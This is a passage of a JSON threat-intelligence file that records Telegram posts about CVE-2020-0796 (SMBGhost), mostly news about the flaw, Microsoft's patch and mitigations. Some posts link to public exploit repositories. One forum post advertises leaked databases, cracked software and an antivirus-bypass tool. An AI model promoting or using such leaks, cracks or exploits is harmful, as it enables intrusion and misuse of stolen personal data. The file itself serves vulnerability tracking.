\n\u02e1\u1da6\u1d4f\u1d49\u00a0 \u1d9c\u1d52\u1d50\u1d50\u1d49\u207f\u1d57\u00a0 \u02e2\u1d43\u1d5b\u1d49\u00a0 \u02e2\u02b0\u1d43\u02b3\u1d49", "creation_timestamp": "2023-06-14T11:11:15.000000Z"}, {"uuid": "8ef6c4d5-9087-4d25-ae28-8731af335f07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/true_secator/302", "content": "\u0412\u0447\u0435\u0440\u0430 Microsoft \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020-0796 \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 SMBv3.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u0440\u0435\u043b\u0438\u0437\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 KB4551762 \u0434\u043b\u044f Windows 10 (\u0432\u0435\u0440\u0441\u0438\u0438 1903 \u04381909) \u0438 Windows Server 2019 (\u0432\u0435\u0440\u0441\u0438\u0438 1903 \u0438 1909). \u0412 \u043a\u043e\u0438-\u0442\u043e \u0432\u0435\u043a\u0438 \u0440\u0435\u0434\u043c\u043e\u043d\u0434\u043e\u0432\u0446\u044b \u0441\u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0441\u0442\u0440\u043e \u0437\u0430\u043f\u0438\u043b\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u0443\u044e \u0437\u0430\u043f\u043b\u0430\u0442\u043a\u0443.\n\n\u041a\u0430\u043a \u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u043c\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u0432\u0441\u0435\u043c \u0441\u0440\u043e\u0447\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0430\u043f\u0434\u0435\u0439\u0442. \u041a\u0442\u043e \u043d\u0435 \u0441\u0434\u0435\u043b\u0430\u0435\u0442 - \u0442\u043e\u0442 \u0441\u0430\u043c \u0441\u0435\u0431\u0435 \u0411\u0443\u0440\u0430\u0442\u0438\u043d\u0430.\n\n\u041d\u043e SecAtor \u043d\u0435 \u0431\u044b\u043b \u0431\u044b SecAtor'\u043e\u043c, \u0435\u0441\u043b\u0438 \u0431\u044b \u0432 \u043b\u044e\u0431\u043e\u0439 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438 \u043d\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u043b \u0431\u044b \u043f\u043e\u0432\u043e\u0434 \u0434\u043b\u044f \u0441\u043a\u0435\u043f\u0442\u0438\u0446\u0438\u0437\u043c\u0430. \u0412\u043e\u0442 \u0438 \u0441\u0435\u0439\u0447\u0430\u0441 \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0432\u043e\u043f\u0440\u043e\u0441 - \u0430 \u0435\u0441\u043b\u0438 \u0431\u044b 10 \u043c\u0430\u0440\u0442\u0430 Cisco Talos \u0438 Fortinet \u043d\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438,  \u0441\u0442\u0430\u043b\u0438 \u0431\u044b Microsoft \u0441\u0440\u043e\u0447\u043d\u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0430\u0442\u0447? \u0418\u043b\u0438 \u043a\u0430\u043a \u0432\u0441\u0435\u0433\u0434\u0430 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u0431\u044b \u0432\u0438\u0434, \u0447\u0442\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442? \u0422\u0435\u043c \u0431\u043e\u043b\u0435\u0435, \u0447\u0442\u043e Security Affairs \u043f\u0438\u0448\u0443\u0442, \u0447\u0442\u043e \u043c\u0435\u043b\u043a\u043e\u043c\u044f\u0433\u043a\u0438\u0435 \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043d\u0435 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0434\u044b\u0440\u043a\u0443 \u0432 \u043c\u0430\u0440\u0442\u043e\u0432\u0441\u043a\u0438\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u0445.\n \n\u0418 \u043d\u0435 \u043f\u043e\u0438\u043c\u0435\u043b\u0438 \u0431\u044b \u043c\u044b \u0442\u043e\u0433\u0434\u0430 \u043d\u043e\u0432\u044b\u0439 \u0448\u0442\u043e\u0440\u043c \u043a\u0430\u043a\u043e\u0433\u043e-\u043d\u0438\u0431\u0443\u0434\u044c NotVasya \u0438\u043b\u0438 WannaDie? \u0412\u0435\u0434\u044c \u044d\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u043e, \u0447\u0435\u0433\u043e \u043d\u0430\u043c \u0432\u0441\u0435\u043c \u0432 \u043d\u044b\u043d\u0435\u0448\u043d\u0435\u0439 \u043a\u0440\u0438\u0437\u0438\u0441\u043d\u043e\u0439 \u043e\u0431\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0442\u0430\u043a \u043d\u0435 \u0445\u0432\u0430\u0442\u0430\u0435\u0442 (\u0441\u0430\u0440\u043a\u0430\u0437\u043c).\n\nhttps://securityaffairs.co/wordpress/99507/security/cve-2020-0796-smbv3-bug-fix.html", "creation_timestamp": "2020-03-13T08:49:29.000000Z"}, {"uuid": "36b98573-db13-4e1c-93d4-df0aa011aa60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/true_secator/294", "content": "\u0412\u0447\u0435\u0440\u0430 \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043d\u043e\u0432\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 SMBv3, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 CVE-2020-0796.\n\n\u0427\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0441\u0430\u043c\u0430 Microsoft \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u043d\u043e\u0432\u043e\u0439 \u0434\u044b\u0440\u043a\u0438 \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430, \u043e\u0434\u043d\u0430\u043a\u043e \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0440\u044f\u0434 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0440\u0430\u043d\u0441\u043b\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0438\u0445 \u0448\u0438\u0440\u043e\u043a\u043e\u0439 \u043f\u0443\u0431\u043b\u0438\u043a\u0435.\n\nCVE-2020-0796 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0445\u043e\u0441\u0442\u0435. \u0423\u044f\u0437\u0432\u0438\u043c\u044b Windows 10 v.1903, Windows Server v.1903, Windows 10 v.1909 \u0438 Windows Server v.1909, \u0445\u043e\u0442\u044f \u043f\u043e \u043c\u043d\u0435\u043d\u0438\u044e Fortinet, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0442\u0430\u043a\u0436\u0435 Windows 8 \u0438 Windows Server 2012. \n\n\u041f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u0430\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c \u0441 EternalBlue, NotPetya \u0438 WannaCry.\n\n\u0418 \u0445\u043e\u0442\u044f \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e\u043a\u0430 \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0432\u0438\u0434\u0435\u043b, Cisco Talos \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0441\u0436\u0430\u0442\u0438\u044f SMBv3 \u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u043f\u043e\u0440\u0442\u0430 TCP 445.\n\n\u0412\u0441\u043f\u043e\u043c\u0438\u043d\u0430\u044f \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0441\u0442\u044c WannaCry \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u0432\u0441\u0435\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043e\u0437\u0430\u0431\u043e\u0442\u0438\u0442\u0441\u044f \u043f\u0440\u0435\u0432\u0435\u043d\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043c\u0435\u0440\u0430\u043c\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u0436\u0434\u0430\u0442\u044c \u043f\u0430\u0442\u0447\u0435\u0439 \u043e\u0442 Microsoft.\n\nhttps://www.bleepingcomputer.com/news/security/microsoft-leaks-info-on-wormable-windows-smbv3-cve-2020-0796-flaw/", "creation_timestamp": "2020-03-11T12:15:52.000000Z"}, {"uuid": "7158bb55-fa09-4f5c-aa9b-0236708c713e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/495", "content": "\u0410 \u0432\u0447\u0435\u0440\u0430, \u043f\u043e\u043a\u0430 \u043c\u044b \u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438 \u043f\u043e\u0441\u0442 \u043f\u0440\u043e MONSOON, \u044f\u043f\u043e\u043d\u0441\u043a\u0438\u0435 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b \u0438\u0437 Ricerca Security \u0437\u0430\u043f\u0438\u043b\u0438\u043b\u0438 \u0442\u0430\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 CVE-2020-0796, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0438\u0439 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u041c\u044b \u043f\u0438\u0441\u0430\u043b\u0438 \u043f\u0440\u043e \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043c\u0430\u0440\u0442\u0435.\n\n\u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u043c\u044b \u043d\u0430\u0434\u0435\u0435\u043c\u0441\u044f, \u0447\u0442\u043e \u0432\u0441\u0435 \u0441\u043e\u0437\u043d\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043b\u044e\u0434\u0438 \u0443\u0436\u0435 \u0434\u0430\u0432\u043d\u043e \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u043b\u0438 \u0441\u0432\u043e\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043a\u0438 \u043e\u0442 Microsoft \u0438 \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SMBv3 \u0438\u043c \u043d\u0435 \u0441\u0442\u0440\u0430\u0448\u043d\u0430. \u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 - \u0442\u0438\u043a\u0430\u0439\u0442\u0435 \u0441 \u0433\u043e\u0440\u043e\u0434\u0443.", "creation_timestamp": "2020-04-21T11:53:35.000000Z"}, {"uuid": "4c3da8a1-3fb9-487a-b5cb-6a587f5786e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/crackcodes/884", "content": "Updates On Hackbyte Forum:-\n\n\ud83d\udcccAndroidForums.com Leak\n\ud83d\udcccAll Shopify Stores in USA \u2013 Email Database 145 000\n\ud83d\udcccInsurance Agents and Brokers 31 000\n\ud83d\udcccHCL_AppScan_Standard_v10.0.8_Cracked\n\ud83d\udcccPakistani Documents Leak\n\ud83d\udcccPakistan Fortinet SSL VPN CVE-2018-13379\n\ud83d\udccciMesh.com Leak\n\ud83d\udcccAptoide.com Leak\n\ud83d\udcccromwe.com Leak\n\ud83d\udcccCloud Attack Vectors\n\ud83d\udcccTproxy: A cli tool to proxy and analyze TCP connections\n\ud83d\udcccRaider - Web Authentication Testing Framework\n\ud83d\udcccDiagTrackEoP - Just another way to abuse SeImpersonate privilege.\n\ud83d\udcccSQLI Dorks Generator\n\ud83d\udcccEthical_Hacking\n\ud83d\udcccDorks collections list\n\ud83d\udcccNinjaDroid - Simple tool to reverse engineering #Android APK packages\n\ud83d\udcccSMBaloo - A CVE-2020-0796 (aka \u201cSMBGhost\u201d) exploit for Windows ARM64\n\ud83d\udcccCMSeeK - CMS Detection and Exploitation suite \u2013 Scan WordPress, Joomla, Drupal and over 180 other CMSs\n\ud83d\udcccMsfMania - Command line tool developed in Python that is designed to bypass antivirus software on Windows and Linux/Mac in the future.\n\ud83d\udcccSome nigeria student Leak\n\ud83d\udcccBitfinex.com 22k Leak\n\ud83d\udcccA repository of Windows persistence mechanisms\n\ud83d\udcccDefeating Javascript Obfuscation\n\ud83d\udcccspring cloud gateway RCE | CVE-2022-22947 By :- VulnMachines\n\n\ud83d\udc49\ud83c\udffb\ud83d\udc49\ud83c\udffb Updates:- https://bit.ly/3yRyah3 \ud83d\udc48\ud83c\udffb\ud83d\udc48\ud83c\udffb", "creation_timestamp": "2022-07-24T09:26:19.000000Z"}, {"uuid": "502a40bb-2f06-434d-971c-3ed541f4c353", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/jokerplstaeen/17513", "content": "\u200b\u200bCVE-2020-0796\n\nWindows Protocol TestSuites is to trigger BSoD (full #exploit).\n\nhttps://github.com/Ajomix/CVE-2020-0796\n\n#cve #cybersecurity #infosec", "creation_timestamp": "2023-06-01T10:48:32.000000Z"}, {"uuid": "add930b7-81e1-4805-a728-cadd3414123d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/hackersmeet0/1191", "content": "\u2716\ufe0fMicrosoft patches SMBv3\n\n wormable bug that leaked earlier this week\nEmergency out-of-band fix for CVE-2020-0796 is now rolling out to Windows 10 and Windows Server 2019 systems worldwide.", "creation_timestamp": "2026-08-03T02:07:05.822790Z"}, {"uuid": "58748e40-f77b-4283-87bc-b0a9194ce768", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/13811", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2020-0796-POC*\nGithub: https://github.com/Ajomix/CVE-2020-0796-POC", "creation_timestamp": "2026-07-31T00:00:24.124027Z"}, {"uuid": "f8c543a5-a0e7-4407-9118-09832fefccf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/13929", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2020-0796*\nGithub: https://github.com/Ajomix/CVE-2020-0796", "creation_timestamp": "2026-07-31T00:00:24.812768Z"}, {"uuid": "bb7323b8-8a48-4733-8b2d-541e5bbdce86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/DerechodelaRed/2616", "content": "\u2699\ufe0fSMBGhost\nSimple scanner for CVE-2020-0796 - SMBv3 RCE.\nhttps://github.com/ollypwn/SMBGhost", "creation_timestamp": "2020-03-12T09:20:50.000000Z"}, {"uuid": "75a0b5a5-00fb-484c-b1c6-2e59973da24d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/information_security_channel/36576", "content": "CVE-2020-0796 : Windows SMBv3 Client/Server Remote Code Execution Vulnerability\nhttps://kalilinuxtutorials.com/cve-2020-0796/\n\nCVE-2020-0796 is a remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests. An attacker who successfully exploited the vulnerability could gain the ability to execute code on the target server or client. To exploit the vulnerability against a server, an unauthenticated attacker could send [\u2026]\nThe post CVE-2020-0796 : Windows SMBv3 Client/Server Remote Code Execution Vulnerability (https://kalilinuxtutorials.com/cve-2020-0796/) appeared first on Kali Linux Tutorials (https://kalilinuxtutorials.com/).", "creation_timestamp": "2020-04-03T17:55:34.000000Z"}, {"uuid": "ef90764a-53ff-4a3e-94af-e6c5a7be97e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/information_security_channel/36574", "content": "CVE-2020-0796 : Windows SMBv3 Client/Server Remote Code Execution Vulnerability https://t.co/CnwumWEt0E", "creation_timestamp": "2020-04-03T17:44:07.000000Z"}, {"uuid": "bfcffcae-5f9a-4e4d-8330-74bf2c98124c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/information_security_channel/35873", "content": "CVE-2020-0796 \u2013 A \u201cwormable\u201d Remote Code Execution vulnerability in SMB v3\nhttps://blogs.quickheal.com/cve-2020-0796-wormable-remote-code-execution-vulnerability-smb-v3/\n\nSince last two days, the Internet is rife with news around a critical remote code execution vulnerability in SMBv3.1.1 compression mechanism. Today, on 12th March 2020 Microsoft has released an emergency out-of-band patch to address this vulnerability. As per Microsoft release information, it\u2019s a remote code execution vulnerability in the\u2026", "creation_timestamp": "2020-03-13T04:38:09.000000Z"}, {"uuid": "e9350a73-a933-4985-b371-ce55dca15e2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/information_security_channel/35836", "content": "Microsoft leaked details of an unpatched bug that exists in the Server Message Block 3.0 (SMBv3) network communication protocol reported as part of the March 2020 Patch Tuesday update. The flaw can be tracked as CVE-2020-0796 and the flaw impacts only Windows 10 Version and Windows Server Version 1903. Wormable Windows SMBv3 The vulnerability resides [\u2026]\nThe post Unpatched Wormable Windows SMBv3 RCE Flaw Leaked in Microsoft Patch Tuesday (https://gbhackers.com/wormable-windows-smbv3/) appeared first on GBHackers On Security (https://gbhackers.com/).", "creation_timestamp": "2020-03-12T05:03:11.000000Z"}, {"uuid": "c75780d5-3be5-4a5f-a640-91d12b101228", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/information_security_channel/35876", "content": "Microsoft patched a critical Remote Code Execution Vulnerability with Windows SMBv3 Client/Server that allows an attacker to execute code remotely. The flaw can be tracked as CVE-2020-0796 and the flaw impacts only Windows 10 Version and Windows Server Version 1903. It was leaked accidentally as part of the March 2020 Patch Tuesday update. SMBv3 RCE [\u2026]\nThe post Microsoft Released Patches for Wormable Windows SMBv3 RCE Flaw \u2013 More than 48000 Hosts Vulnerable (https://gbhackers.com/smbv3-rce-flaw/) appeared first on GBHackers On Security (https://gbhackers.com/).", "creation_timestamp": "2020-03-13T05:29:18.000000Z"}, {"uuid": "bf0c086c-9438-4c8f-9f3c-7e099b2e4e68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/information_security_channel/36475", "content": "SMBGhost Vulnerability Allows Privilege Escalation on Windows Systems\nhttp://feedproxy.google.com/~r/Securityweek/~3/UuwaqWrYdrk/smbghost-vulnerability-allows-privilege-escalation-windows-systems\n\nResearchers have published proof-of-concept (PoC) exploits to demonstrate that the Windows vulnerability tracked as SMBGhost (https://www.securityweek.com/microsoft-working-patches-wormable-smb-vulnerability) and CVE-2020-0796 can be exploited for local privilege escalation.\nread more (https://www.securityweek.com/smbghost-vulnerability-allows-privilege-escalation-windows-systems)", "creation_timestamp": "2020-04-01T11:46:20.000000Z"}, {"uuid": "0004eb95-edc5-47b7-be45-64acc6855924", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/thehackernews/636", "content": "CVE-2020-0796\n\nMicrosoft warning billions of users of a new UNPATCHED \"wormable\" RCE flaw in SMBv3 protocol\u2014after its existence accidentally got leaked.\n\nRead: https://thehackernews.com/2020/03/smbv3-wormable-vulnerability.html\n\nDisable SMB compression & block SMB (port 137, 139, 445) inbound/outbound to avoid attacks.", "creation_timestamp": "2020-03-11T16:10:37.000000Z"}, {"uuid": "d57b5226-1cbc-4019-a9f3-0ecbb8579a11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/xakep_ru/8836", "content": "Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u043e\u043c \u0447\u0435\u0440\u0432\u044f\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0431\u0430\u0433\u0430 CVE-2020-0796, \u043d\u0435 \u0432\u043e\u0448\u0435\u0434\u0448\u0435\u0435 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432 \u00ab\u0432\u0442\u043e\u0440\u043d\u0438\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439\u00bb, \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0443\u0436\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Windows 10 \u0438 Windows Server 2019 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.\n\nhttps://xakep.ru/2020/03/12/cve-2020-0796-patch/", "creation_timestamp": "2020-03-12T19:45:07.000000Z"}, {"uuid": "d984f0ba-4e0c-42d2-9a05-879cd9ecd058", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/xakep_ru/8939", "content": "\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SMBGhost\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u0434\u043b\u044f \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0432 Windows \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2020-0796, \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0449\u0435\u0439 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u043e\u043c \u0447\u0435\u0440\u0432\u044f.\n\nhttps://xakep.ru/2020/04/02/smbghost-pocs/", "creation_timestamp": "2020-04-02T17:55:26.000000Z"}, {"uuid": "fc53fa3c-d349-4595-9f1a-499c756051ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "https://t.me/xakep_ru/9031", "content": "\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SMBGhost\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442 \u0438\u0437 Ricerca Security \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043b \u0438 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b RCE-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2020-0796, \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u043a\u0430\u043a SMBGhost.\n\nhttps://xakep.ru/2020/04/22/smbghost-poc/", "creation_timestamp": "2020-04-22T17:20:16.000000Z"}, {"uuid": "5a4ad1c3-4036-4da0-aff4-c41baee995f2", 